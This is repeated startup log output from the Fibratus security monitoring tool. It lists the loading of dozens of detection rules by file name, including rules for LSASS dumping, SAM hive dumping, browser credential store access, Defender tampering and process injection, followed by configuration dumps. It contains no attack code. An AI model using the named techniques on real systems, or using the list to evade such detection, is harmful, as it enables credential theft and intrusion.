source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T17:09:13+01:00 level=info msg=bootstrapping with pid 21564. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T17:09:13+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 to=>[] enabled=>false use-template=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false] + eventsource .................... [ max-buffers=>36 enable-dns=>false enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s min-buffers=>16 enable-handle=>false buffer-size=>512 stack-enrichment=>true enable-mem=>false enable-vamap=>true enable-threadpool=>false enable-fileio=>true enable-thread=>true enable-image=>true enable-net=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-age=>0 formatter=>text level=>info max-backups=>15] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ method=>POST tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s endpoints=>[] serializer=>json enabled=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ enabled=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false delivery-mode=>transient passive=>false timeout=>5s vhost=>/ routing-key=>fibratus exchange=>fibratus durable=>false exchange-type=>topic] elasticsearch=>[ flush-period=>1s trace-log=>false healthcheck-interval=>10s timeout=>5s healthcheck=>true template-name=>fibratus bulk-workers=>1 index-name=>fibratus gzip-compression=>false sniff=>false enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s]] + pe ............................. [ read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-files=>false skip-registry=>false skip-allocs=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s excluded-procs=>[] fastscan=>true enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T17:09:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:09:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:09:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T17:09:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:09:57+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:11:21+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:11:21+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T17:11:21+01:00 level=info msg=bootstrapping with pid 2680. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T17:11:21+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ enabled=>false port=>25 